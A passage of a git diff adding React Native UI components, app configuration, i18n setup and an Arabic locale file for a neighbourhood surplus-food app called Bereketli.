backgroundColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
image: {
|
||||||
|
width: '100%',
|
||||||
|
height: '100%',
|
||||||
|
},
|
||||||
|
// placeholder styles removed — always using real images now
|
||||||
|
|
||||||
|
// Heart button — top right (Yemeksepeti style)
|
||||||
|
heartBtn: {
|
||||||
|
position: 'absolute',
|
||||||
|
top: 10,
|
||||||
|
right: 10,
|
||||||
|
width: 34,
|
||||||
|
height: 34,
|
||||||
|
borderRadius: 17,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.9)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.1,
|
||||||
|
shadowRadius: 2,
|
||||||
|
elevation: 2,
|
||||||
|
},
|
||||||
|
heartIcon: {
|
||||||
|
fontSize: 18,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Featured badge — bottom right ("Öne Çıkan" style)
|
||||||
|
featuredBadge: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: 10,
|
||||||
|
right: 10,
|
||||||
|
backgroundColor: 'rgba(0,0,0,0.7)',
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: 10,
|
||||||
|
paddingVertical: 4,
|
||||||
|
},
|
||||||
|
featuredText: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Discount badge — top left
|
||||||
|
discountBadge: {
|
||||||
|
position: 'absolute',
|
||||||
|
top: 10,
|
||||||
|
left: 10,
|
||||||
|
backgroundColor: '#EF4444',
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: 10,
|
||||||
|
paddingVertical: 4,
|
||||||
|
},
|
||||||
|
discountText: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '800',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Info Section ──
|
||||||
|
info: {
|
||||||
|
padding: 12,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Store name + rating row
|
||||||
|
nameRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
storeName: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
flex: 1,
|
||||||
|
marginRight: 8,
|
||||||
|
},
|
||||||
|
ratingContainer: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 3,
|
||||||
|
},
|
||||||
|
ratingStar: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: '#F59E0B',
|
||||||
|
},
|
||||||
|
ratingValue: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Title
|
||||||
|
title: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '400',
|
||||||
|
color: '#6B7280',
|
||||||
|
marginBottom: 4,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Meta line ("25-50 dk · ₺₺ · Tost & Sandviç" style)
|
||||||
|
metaLine: {
|
||||||
|
fontSize: 12,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Delivery
|
||||||
|
deliveryRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 8,
|
||||||
|
marginBottom: 10,
|
||||||
|
},
|
||||||
|
deliveryBadge: {
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: 8,
|
||||||
|
paddingVertical: 3,
|
||||||
|
},
|
||||||
|
deliveryBadgeText: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
urgencyText: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#EF4444',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Price row
|
||||||
|
priceRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
price: {
|
||||||
|
fontSize: 18,
|
||||||
|
fontWeight: '800',
|
||||||
|
color: colors.primary,
|
||||||
|
},
|
||||||
|
originalPrice: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
textDecorationLine: 'line-through',
|
||||||
|
},
|
||||||
|
remainingText: {
|
||||||
|
fontSize: 11,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
marginLeft: 'auto',
|
||||||
|
},
|
||||||
|
|
||||||
|
// Green promo strip (Yemeksepeti style)
|
||||||
|
promoStrip: {
|
||||||
|
backgroundColor: '#D1FAE5',
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: 10,
|
||||||
|
paddingVertical: 6,
|
||||||
|
marginTop: 8,
|
||||||
|
},
|
||||||
|
promoText: {
|
||||||
|
fontSize: 12,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#059669',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {View, Text, StyleSheet} from 'react-native';
|
||||||
|
import {colors, spacing, typography} from '../theme';
|
||||||
|
|
||||||
|
interface SectionHeaderProps {
|
||||||
|
title: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function SectionHeader({title}: SectionHeaderProps) {
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<Text style={styles.title}>{title.toUpperCase()}</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
paddingHorizontal: spacing.lg,
|
||||||
|
paddingTop: spacing.xl,
|
||||||
|
paddingBottom: spacing.sm,
|
||||||
|
backgroundColor: colors.background,
|
||||||
|
},
|
||||||
|
title: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
fontWeight: '600',
|
||||||
|
letterSpacing: 0.5,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,95 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {TouchableOpacity, View, Text, StyleSheet} from 'react-native';
|
||||||
|
import {colors, spacing, typography} from '../theme';
|
||||||
|
|
||||||
|
interface SettingItemProps {
|
||||||
|
icon: string;
|
||||||
|
title: string;
|
||||||
|
subtitle?: string;
|
||||||
|
onPress?: () => void;
|
||||||
|
showArrow?: boolean;
|
||||||
|
value?: string;
|
||||||
|
destructive?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function SettingItem({
|
||||||
|
icon,
|
||||||
|
title,
|
||||||
|
subtitle,
|
||||||
|
onPress,
|
||||||
|
showArrow = true,
|
||||||
|
value,
|
||||||
|
destructive = false,
|
||||||
|
}: SettingItemProps) {
|
||||||
|
return (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.container}
|
||||||
|
onPress={onPress}
|
||||||
|
disabled={!onPress}
|
||||||
|
activeOpacity={onPress ? 0.7 : 1}>
|
||||||
|
<Text style={styles.icon}>{icon}</Text>
|
||||||
|
<View style={styles.content}>
|
||||||
|
<Text
|
||||||
|
style={[
|
||||||
|
styles.title,
|
||||||
|
destructive && styles.titleDestructive,
|
||||||
|
]}>
|
||||||
|
{title}
|
||||||
|
</Text>
|
||||||
|
{subtitle ? (
|
||||||
|
<Text style={styles.subtitle} numberOfLines={1}>
|
||||||
|
{subtitle}
|
||||||
|
</Text>
|
||||||
|
) : null}
|
||||||
|
</View>
|
||||||
|
{value ? (
|
||||||
|
<Text style={styles.value}>{value}</Text>
|
||||||
|
) : null}
|
||||||
|
{showArrow && onPress ? (
|
||||||
|
<Text style={styles.arrow}>{'\u203A'}</Text>
|
||||||
|
) : null}
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.backgroundCard,
|
||||||
|
paddingHorizontal: spacing.lg,
|
||||||
|
paddingVertical: spacing.lg,
|
||||||
|
borderBottomWidth: StyleSheet.hairlineWidth,
|
||||||
|
borderBottomColor: colors.borderLight,
|
||||||
|
},
|
||||||
|
icon: {
|
||||||
|
fontSize: 20,
|
||||||
|
marginRight: spacing.md,
|
||||||
|
width: 28,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
content: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
title: {
|
||||||
|
...typography.body,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
},
|
||||||
|
titleDestructive: {
|
||||||
|
color: colors.error,
|
||||||
|
},
|
||||||
|
subtitle: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
marginTop: 2,
|
||||||
|
},
|
||||||
|
value: {
|
||||||
|
...typography.caption,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
marginRight: spacing.sm,
|
||||||
|
},
|
||||||
|
arrow: {
|
||||||
|
fontSize: 22,
|
||||||
|
color: colors.textLight,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,73 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {View, Text, Switch, StyleSheet, ActivityIndicator} from 'react-native';
|
||||||
|
import {colors, spacing, typography} from '../theme';
|
||||||
|
|
||||||
|
interface SettingToggleProps {
|
||||||
|
icon: string;
|
||||||
|
title: string;
|
||||||
|
subtitle?: string;
|
||||||
|
value: boolean;
|
||||||
|
onToggle: (value: boolean) => void;
|
||||||
|
loading?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function SettingToggle({
|
||||||
|
icon,
|
||||||
|
title,
|
||||||
|
subtitle,
|
||||||
|
value,
|
||||||
|
onToggle,
|
||||||
|
loading = false,
|
||||||
|
}: SettingToggleProps) {
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<Text style={styles.icon}>{icon}</Text>
|
||||||
|
<View style={styles.content}>
|
||||||
|
<Text style={styles.title}>{title}</Text>
|
||||||
|
{subtitle ? (
|
||||||
|
<Text style={styles.subtitle}>{subtitle}</Text>
|
||||||
|
) : null}
|
||||||
|
</View>
|
||||||
|
{loading ? (
|
||||||
|
<ActivityIndicator size="small" color={colors.primary} />
|
||||||
|
) : (
|
||||||
|
<Switch
|
||||||
|
value={value}
|
||||||
|
onValueChange={onToggle}
|
||||||
|
trackColor={{false: colors.border, true: colors.primaryLight}}
|
||||||
|
thumbColor={value ? colors.primary : colors.textLight}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.backgroundCard,
|
||||||
|
paddingHorizontal: spacing.lg,
|
||||||
|
paddingVertical: spacing.lg,
|
||||||
|
borderBottomWidth: StyleSheet.hairlineWidth,
|
||||||
|
borderBottomColor: colors.borderLight,
|
||||||
|
},
|
||||||
|
icon: {
|
||||||
|
fontSize: 20,
|
||||||
|
marginRight: spacing.md,
|
||||||
|
width: 28,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
content: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
title: {
|
||||||
|
...typography.body,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
},
|
||||||
|
subtitle: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
marginTop: 2,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
/**
|
||||||
|
* Bereketli Mini App Configuration
|
||||||
|
*/
|
||||||
|
|
||||||
|
export const API_BASE_URL = 'https://bereketli.pezkiwi.app/v1';
|
||||||
|
|
||||||
|
// Google Maps API key (shared with main app)
|
||||||
|
export const GOOGLE_MAPS_KEY = process.env.EXPO_PUBLIC_GOOGLE_MAPS_KEY || '';
|
||||||
|
export const GOOGLE_WEB_CLIENT_ID = process.env.EXPO_PUBLIC_GOOGLE_WEB_CLIENT_ID || '';
|
||||||
|
|
||||||
|
// Feature flags
|
||||||
|
export const FEATURES = {
|
||||||
|
AI_CHAT: true,
|
||||||
|
LOYALTY: true,
|
||||||
|
REFERRAL: true,
|
||||||
|
NOTIFICATIONS: false, // Disabled until expo-notifications integration (Faz 4)
|
||||||
|
};
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
import i18n from 'i18next';
|
||||||
|
import {initReactI18next} from 'react-i18next';
|
||||||
|
import {I18nManager} from 'react-native';
|
||||||
|
import {getLocales} from 'expo-localization';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
|
||||||
|
import tr from './locales/tr.json';
|
||||||
|
import en from './locales/en.json';
|
||||||
|
import ar from './locales/ar.json';
|
||||||
|
import ckb from './locales/ckb.json';
|
||||||
|
import ku from './locales/ku.json';
|
||||||
|
import fa from './locales/fa.json';
|
||||||
|
|
||||||
|
export const LANGUAGES = [
|
||||||
|
{code: 'tr', label: 'Türkçe', rtl: false},
|
||||||
|
{code: 'en', label: 'English', rtl: false},
|
||||||
|
{code: 'ar', label: 'العربية', rtl: true},
|
||||||
|
{code: 'ckb', label: 'سۆرانی', rtl: true},
|
||||||
|
{code: 'ku', label: 'Kurmancî', rtl: false},
|
||||||
|
{code: 'fa', label: 'فارسی', rtl: true},
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export type LanguageCode = (typeof LANGUAGES)[number]['code'];
|
||||||
|
|
||||||
|
const SUPPORTED_CODES: readonly string[] = LANGUAGES.map(l => l.code);
|
||||||
|
const RTL_LANGUAGES: readonly string[] = LANGUAGES.filter(l => l.rtl).map(l => l.code);
|
||||||
|
|
||||||
|
const LANGUAGE_KEY = '@bereketli_language';
|
||||||
|
|
||||||
|
function getDeviceLanguage(): string {
|
||||||
|
try {
|
||||||
|
const locales = getLocales();
|
||||||
|
if (locales.length > 0) {
|
||||||
|
const lang = (locales[0].languageCode || 'en').toLowerCase();
|
||||||
|
if (SUPPORTED_CODES.includes(lang)) return lang;
|
||||||
|
|
||||||
|
// Check script tag for Sorani (ckb uses Arab script)
|
||||||
|
const tag = locales[0].languageTag.toLowerCase();
|
||||||
|
if (tag.includes('ckb') || tag.includes('sorani')) return 'ckb';
|
||||||
|
if (lang === 'ku' || tag.includes('kurmanj')) return 'ku';
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// react-native-localize not available
|
||||||
|
}
|
||||||
|
return 'tr';
|
||||||
|
}
|
||||||
|
|
||||||
|
i18n.use(initReactI18next).init({
|
||||||
|
resources: {
|
||||||
|
tr: {translation: tr},
|
||||||
|
en: {translation: en},
|
||||||
|
ar: {translation: ar},
|
||||||
|
ckb: {translation: ckb},
|
||||||
|
ku: {translation: ku},
|
||||||
|
fa: {translation: fa},
|
||||||
|
},
|
||||||
|
lng: getDeviceLanguage(),
|
||||||
|
fallbackLng: 'tr',
|
||||||
|
interpolation: {
|
||||||
|
escapeValue: false,
|
||||||
|
},
|
||||||
|
react: {
|
||||||
|
useSuspense: false,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
/** Load persisted language from AsyncStorage and apply it. Call once on app start. */
|
||||||
|
export async function loadSavedLanguage(): Promise<void> {
|
||||||
|
try {
|
||||||
|
const saved = await AsyncStorage.getItem(LANGUAGE_KEY);
|
||||||
|
if (saved && SUPPORTED_CODES.includes(saved)) {
|
||||||
|
const isRTL = RTL_LANGUAGES.includes(saved);
|
||||||
|
I18nManager.forceRTL(isRTL);
|
||||||
|
I18nManager.allowRTL(isRTL);
|
||||||
|
await i18n.changeLanguage(saved);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// AsyncStorage read failed — keep device language
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export async function changeLanguage(code: LanguageCode): Promise<void> {
|
||||||
|
const isRTL = RTL_LANGUAGES.includes(code);
|
||||||
|
I18nManager.forceRTL(isRTL);
|
||||||
|
I18nManager.allowRTL(isRTL);
|
||||||
|
await i18n.changeLanguage(code);
|
||||||
|
try {
|
||||||
|
await AsyncStorage.setItem(LANGUAGE_KEY, code);
|
||||||
|
} catch {
|
||||||
|
// AsyncStorage write failed — language still changed in memory
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default i18n;
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "جاري التحميل...",
|
||||||
|
"error": "خطأ",
|
||||||
|
"retry": "حاول مجددا",
|
||||||
|
"cancel": "إلغاء",
|
||||||
|
"ok": "حسنا",
|
||||||
|
"save": "حفظ",
|
||||||
|
"delete": "حذف",
|
||||||
|
"back": "رجوع",
|
||||||
|
"next": "التالي",
|
||||||
|
"close": "إغلاق",
|
||||||
|
"search": "بحث",
|
||||||
|
"noResults": "لم يتم العثور على نتائج",
|
||||||
|
"pullToRefresh": "اسحب للتحديث",
|
||||||
|
"or": "أو",
|
||||||
|
"confirm": "تأكيد",
|
||||||
|
"all": "الكل",
|
||||||
|
"distance": "المسافة",
|
||||||
|
"goBack": "العودة",
|
||||||
|
"saving": "جاري الحفظ...",
|
||||||
|
"info": "معلومات"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "الطرود",
|
||||||
|
"komsu": "الجيران",
|
||||||
|
"esnaf": "المتاجر",
|
||||||
|
"hesabim": "حسابي"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "تطبيق الحي",
|
||||||
|
"emailOrPhone": "البريد الإلكتروني أو الهاتف",
|
||||||
|
"emailPlaceholder": "example@email.com أو 05xx...",
|
||||||
|
"password": "كلمة المرور",
|
||||||
|
"passwordPlaceholder": "كلمة المرور",
|
||||||
|
"loggingIn": "جاري تسجيل الدخول...",
|
||||||
|
"login": "تسجيل الدخول",
|
||||||
|
"googleLogin": "تسجيل الدخول عبر جوجل",
|
||||||
|
"noAccount": "ليس لديك حساب؟",
|
||||||
|
"registerLink": "سجل الآن",
|
||||||
|
"loginErrorTitle": "خطأ",
|
||||||
|
"loginErrorRequired": "البريد الإلكتروني/الهاتف وكلمة المرور مطلوبان",
|
||||||
|
"googleTokenError": "تعذر الحصول على رمز تسجيل الدخول عبر جوجل",
|
||||||
|
"googlePlayError": "خدمات جوجل بلاي غير متوفرة",
|
||||||
|
"googleLoginFailed": "فشل تسجيل الدخول عبر جوجل",
|
||||||
|
"registerTitle": "إنشاء حساب",
|
||||||
|
"registerSubtitle": "مرحبا بك في بركتلي",
|
||||||
|
"fullName": "الاسم الكامل",
|
||||||
|
"fullNamePlaceholder": "اسمك الكامل",
|
||||||
|
"email": "البريد الإلكتروني",
|
||||||
|
"emailOnlyPlaceholder": "example@email.com",
|
||||||
|
"phoneOptional": "الهاتف (اختياري)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "كلمة المرور",
|
||||||
|
"passwordMinPlaceholder": "8 أحرف على الأقل",
|
||||||
|
"confirmPassword": "تأكيد كلمة المرور",
|
||||||
|
"confirmPasswordPlaceholder": "أعد إدخال كلمة المرور",
|
||||||
|
"referralCodeOptional": "رمز الدعوة (اختياري)",
|
||||||
|
"referralCodePlaceholder": "أدخل رمز الدعوة إن وجد",
|
||||||
|
"registering": "جاري التسجيل...",
|
||||||
|
"register": "إنشاء حساب",
|
||||||
|
"haveAccount": "لديك حساب بالفعل؟",
|
||||||
|
"loginLink": "تسجيل الدخول",
|
||||||
|
"registerErrorRequired": "الاسم والبريد الإلكتروني وكلمة المرور مطلوبة",
|
||||||
|
"registerErrorPasswordMin": "كلمة المرور يجب أن تكون 8 أحرف على الأقل",
|
||||||
|
"registerErrorPasswordMatch": "كلمتا المرور غير متطابقتين"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "تطبيق الحي",
|
||||||
|
"tagline": "امنع هدر الطعام، شارك البركة"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "امنع هدر الطعام",
|
||||||
|
"slide1Desc": "اشترِ المنتجات المتبقية من المتاجر آخر اليوم بأسعار مخفضة. وفّر المال وافعل الخير.",
|
||||||
|
"slide2Title": "اكتشف حيّك",
|
||||||
|
"slide2Desc": "اعثر على المخابز والبقالات والجزارين والحلاقين القريبين. اجمع نقاط الولاء واربح جوائز.",
|
||||||
|
"slide3Title": "ابدأ الآن",
|
||||||
|
"slide3Desc": "شارك موقعك واكتشف الطرود المفاجئة والمتاجر القريبة!",
|
||||||
|
"locationLabel": "الموقع",
|
||||||
|
"locationDesc": "عرض الطرود القريبة",
|
||||||
|
"notificationLabel": "الإشعارات",
|
||||||
|
"notificationDesc": "ابقَ على اطلاع بالعروض",
|
||||||
|
"skip": "تخطي",
|
||||||
|
"next": "التالي ←",
|
||||||
|
"start": "ابدأ",
|
||||||
|
"micLabel": "الميكروفون",
|
||||||
|
"micDesc": "للتحدث مع المساعد الذكي",
|
||||||
|
"cameraLabel": "الكاميرا",
|
||||||
|
"cameraDesc": "لرموز QR والصور"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "اختر الموقع",
|
||||||
|
"useMyLocation": "استخدم موقعي",
|
||||||
|
"confirm": "تأكيد",
|
||||||
|
"permissionRequired": "إذن الموقع مطلوب",
|
||||||
|
"permissionMessage": "يرجى تفعيل إذن الموقع من الإعدادات.",
|
||||||
|
"gpsError": "تعذر استقبال إشارة GPS",
|
||||||
|
"gpsErrorMessage": "حاول مجددا في مكان مفتوح أو اختر نقطة على الخريطة."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "عنوان التوصيل",
|
||||||
|
"selectLocation": "اختر الموقع",
|
||||||
|
"searchPlaceholder": "ابحث عن طرد أو متجر...",
|
||||||
|
"sortLabel": "ترتيب",
|
||||||
|
"sortDistance": "المسافة",
|
||||||
|
"sortPrice": "السعر",
|
||||||
|
"sortRating": "التقييم",
|
||||||
|
"delivery": "توصيل",
|
||||||
|
"discounted": "مخفّض",
|
||||||
|
"lastFew": "آخر القطع",
|
||||||
|
"priceRange": "نطاق السعر",
|
||||||
|
"referralBannerTitle": "ادعُ واكسب",
|
||||||
|
"referralBannerDesc": "ادعُ صديقك واكسب نقاط!",
|
||||||
|
"categoryAll": "الكل",
|
||||||
|
"categoryBakery": "مخبز",
|
||||||
|
"categoryRestaurant": "مطعم",
|
||||||
|
"categoryPastry": "حلويات",
|
||||||
|
"categoryMarket": "سوق",
|
||||||
|
"nearbyPackages": "طرود قريبة",
|
||||||
|
"categoryPackages": "طرود {{category}}",
|
||||||
|
"packageCount": "{{count}} طرد",
|
||||||
|
"emptyTitle": "لا توجد طرود قريبة",
|
||||||
|
"emptyText": "زِد المسافة أو جرّب \"الكل\"",
|
||||||
|
"notificationPermission": "إذن الإشعارات",
|
||||||
|
"notificationPermissionMsg": "يجب السماح بالإشعارات. يمكنك تفعيلها من الإعدادات.",
|
||||||
|
"notificationsEnabled": "تم تفعيل الإشعارات",
|
||||||
|
"notificationsEnabledMsg": "ستصلك إشعارات عن الطرود والحملات الجديدة!",
|
||||||
|
"notificationRegisterFailed": "فشل تسجيل الإشعارات."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "تفاصيل الطرد",
|
||||||
|
"notFound": "الطرد غير موجود",
|
||||||
|
"loadError": "تعذر تحميل بيانات الطرد",
|
||||||
|
"description": "الوصف",
|
||||||
|
"details": "التفاصيل",
|
||||||
|
"priceLabel": "السعر",
|
||||||
|
"pickupTime": "وقت الاستلام",
|
||||||
|
"remaining": "الكمية المتبقية",
|
||||||
|
"status": "الحالة",
|
||||||
|
"statusActive": "متاح",
|
||||||
|
"statusSoldOut": "نفد",
|
||||||
|
"statusExpired": "انتهت الصلاحية",
|
||||||
|
"deliveryMethod": "طريقة التسليم",
|
||||||
|
"pickup": "استلام شخصي",
|
||||||
|
"deliveryToAddress": "توصيل للعنوان",
|
||||||
|
"deliveryAddressPlaceholder": "أدخل عنوان التوصيل",
|
||||||
|
"deliveryAddressRequired": "يرجى إدخال عنوان التوصيل",
|
||||||
|
"total": "المجموع",
|
||||||
|
"purchasing": "جاري تقديم الطلب...",
|
||||||
|
"purchase": "اشترِ الآن",
|
||||||
|
"orderCreated": "تم إنشاء الطلب",
|
||||||
|
"orderCreatedMsg": "طلب #{{orderId}}\nالمجموع: {{price}} ليرة\n\nجاري التوجيه لصفحة الدفع.",
|
||||||
|
"viewOrder": "عرض الطلب",
|
||||||
|
"orderFailed": "تعذر إنشاء الطلب. حاول مجددا.",
|
||||||
|
"discount": "خصم %{{percent}}"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "طلباتي",
|
||||||
|
"orderCount": "{{count}} طلب",
|
||||||
|
"qrPickup": "استلام QR",
|
||||||
|
"tabPackages": "طرد",
|
||||||
|
"tabMeals": "وجبة جار",
|
||||||
|
"emptyPackagesTitle": "لا توجد طلبات طرود بعد",
|
||||||
|
"emptyPackagesText": "قدّم طلبك الأول من قسم الطرود",
|
||||||
|
"emptyMealsTitle": "لا توجد طلبات وجبات بعد",
|
||||||
|
"emptyMealsText": "اطلب طعاما منزليا من قسم الجيران",
|
||||||
|
"statusPending": "قيد الانتظار",
|
||||||
|
"statusPaid": "مدفوع",
|
||||||
|
"statusPickedUp": "تم الاستلام",
|
||||||
|
"statusCancelled": "ملغى",
|
||||||
|
"statusRefunded": "مسترد",
|
||||||
|
"statusAccepted": "مقبول",
|
||||||
|
"statusRejected": "مرفوض",
|
||||||
|
"statusCompleted": "مكتمل",
|
||||||
|
"mealOrderBadge": "وجبة جار",
|
||||||
|
"portions": "{{count}} حصة"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "رجوع",
|
||||||
|
"notFound": "الطلب غير موجود",
|
||||||
|
"loadError": "تعذر تحميل بيانات الطلب",
|
||||||
|
"pickupCode": "رمز الاستلام",
|
||||||
|
"tokenLabel": "الرمز",
|
||||||
|
"qrHint": "أظهر رمز QR هذا لموظف المتجر",
|
||||||
|
"orderDetails": "تفاصيل الطلب",
|
||||||
|
"orderNo": "رقم الطلب",
|
||||||
|
"quantity": "الكمية",
|
||||||
|
"unitPrice": "سعر الوحدة",
|
||||||
|
"total": "المجموع",
|
||||||
|
"date": "التاريخ",
|
||||||
|
"paymentDate": "تاريخ الدفع",
|
||||||
|
"pickupDate": "تاريخ الاستلام",
|
||||||
|
"cancelDate": "تاريخ الإلغاء",
|
||||||
|
"cancelling": "جاري الإلغاء...",
|
||||||
|
"cancelOrder": "إلغاء الطلب",
|
||||||
|
"cancelTitle": "إلغاء الطلب",
|
||||||
|
"cancelMessage": "هل أنت متأكد من إلغاء هذا الطلب؟",
|
||||||
|
"cancelConfirm": "إلغاء",
|
||||||
|
"cancelSuccess": "تم إلغاء طلبك",
|
||||||
|
"cancelFailed": "تعذر إلغاء الطلب",
|
||||||
|
"reviewButton": "اكتب تقييما",
|
||||||
|
"reviewTitle": "قيّم تجربتك",
|
||||||
|
"reviewPlaceholder": "تقييمك (اختياري)",
|
||||||
|
"reviewSubmitting": "جاري الإرسال...",
|
||||||
|
"reviewSubmit": "إرسال",
|
||||||
|
"reviewRatingRequired": "يرجى اختيار تقييم",
|
||||||
|
"reviewSuccess": "تم حفظ تقييمك!",
|
||||||
|
"reviewSuccessTitle": "شكرا لك",
|
||||||
|
"reviewFailed": "تعذر إرسال التقييم",
|
||||||
|
"reviewDone": "تم حفظ تقييمك. شكرا لك!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "أظهر رمز QR هذا لصاحب الوجبة",
|
||||||
|
"portionLabel": "الحصص",
|
||||||
|
"orderDate": "تاريخ الطلب",
|
||||||
|
"acceptDate": "تاريخ القبول",
|
||||||
|
"deliveryDate": "تاريخ التوصيل",
|
||||||
|
"cancelDate": "تاريخ الإلغاء"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "استلام QR",
|
||||||
|
"verifying": "جاري التحقق...",
|
||||||
|
"scanPrompt": "امسح رمز QR",
|
||||||
|
"instructions": "امسح رمز QR في المتجر بالكاميرا عند استلام طلبك",
|
||||||
|
"successTitle": "تم الاستلام!",
|
||||||
|
"successMessage": "طلب #{{orderId}} تم استلامه بنجاح.\n\nالمجموع: {{price}} ليرة",
|
||||||
|
"errorMessage": "تعذر التحقق من رمز QR. حاول مجددا.",
|
||||||
|
"retryButton": "حاول مجددا"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "ابحث عن طرد أو متجر أو فئة...",
|
||||||
|
"popularCategories": "فئات شائعة",
|
||||||
|
"popularSearches": "عمليات بحث شائعة",
|
||||||
|
"resultCount": "تم العثور على {{count}} نتيجة",
|
||||||
|
"emptyTitle": "لم يتم العثور على نتائج",
|
||||||
|
"emptyText": "جرّب مصطلح بحث مختلف"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "وجبات الجيران",
|
||||||
|
